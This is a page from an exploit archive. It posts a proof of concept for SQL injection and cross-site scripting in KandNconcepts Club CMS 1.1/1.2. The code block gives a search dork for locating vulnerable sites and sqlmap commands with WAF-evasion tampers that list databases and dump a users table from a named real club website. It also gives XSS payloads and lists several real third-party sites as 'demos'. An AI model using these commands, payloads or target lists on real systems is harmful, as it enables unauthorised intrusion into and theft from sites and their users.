KandNconcepts Club CMS 1.1 / 1.2 Cross Site Scripting / SQL Injection

Authored by thelastvvv

Posted Mar 31, 2020

KandNconcepts Club CMS versions 1.1 and 1.2 suffer from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 9070d2fd9497a64134d2ff0cc7de35672d08bf049d42764ee9daf8631da56815 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: KandNconcepts Club CMS 1.x SQL Injection & XSS Vulnerability
# Google Dork:intext:"K & N Concepts Ltd"
# Date: 2020-03-31
# Exploit Author: @ThelastVvV
# Vendor Homepage:https://it-it.facebook.com/kandnconcepts / kandnconcepts.co.uk
# Version: 1.1&1.2
# Tested on: Ubuntu

------------------------------------------------------------

PoC 1:
The attacker once locate the sql  vulnerability can perform an automated process to exploit the secruity in the
webapp
Payload(s)

http://www.site.com/content.php?Id=[]'[SQL INJECTION VULNERABILITY!]

SQLMAP Payload(s):

sqlmap -u http://www.thursounited.co.uk/team.php?id=1 --identify-waf --random-agent -v 3 --
tamper="between,randomcase,space2comment" --dbs

sqlmap -u http://www.thursounited.co.uk/team.php?id=1 --identify-waf --random-agent -v 3 --
tamper="between,randomcase,space2comment" -D thursounited_co --tables

sqlmap -u http://www.thursounited.co.uk/team.php?id=1 --identify-waf --random-agent -v 3 --
tamper="between,randomcase,space2comment" --dump -D thursounited_co -T tufc_users



PoC 2 :

XSS Vulnerability

Payload(s) :

"><img src=x onerror=prompt(document.domain);>

use payload:
http://www.thursounited.co.uk/team.php?id=1%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E

www.anysite.com/file.php?id="><img src=x onerror=prompt(document.domain);>


Demos:

http://www.thursounited.co.uk/team.php?id=1'
https://www.nairncountyarchive.co.uk/player.php?id=11'
https://clydebankfc.co.uk/player.php?id=364'
http://www.wick-academy.co.uk/playerstats/player.php?id=304'
http://northcaleyfa.com/club.php?id=42'
```

Login or Register to add favorites

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 150 files
- Ubuntu 68 files
- LiquidWorm 23 files
- Debian 16 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 6 files
- Julien Ahrens 4 files
- T. Weber 4 files

File Tags

- ActiveX (932)
- Advisory (79,754)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,926)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,602)
- Encryption (2,349)
- Exploit (50,359)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (821)
- Kernel (6,291)
- Local (14,201)
- Magazine (586)
- Overflow (12,419)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,044)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,777)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

File Archives

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

Systems

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,315)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,469)
- Slackware (941)
- Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed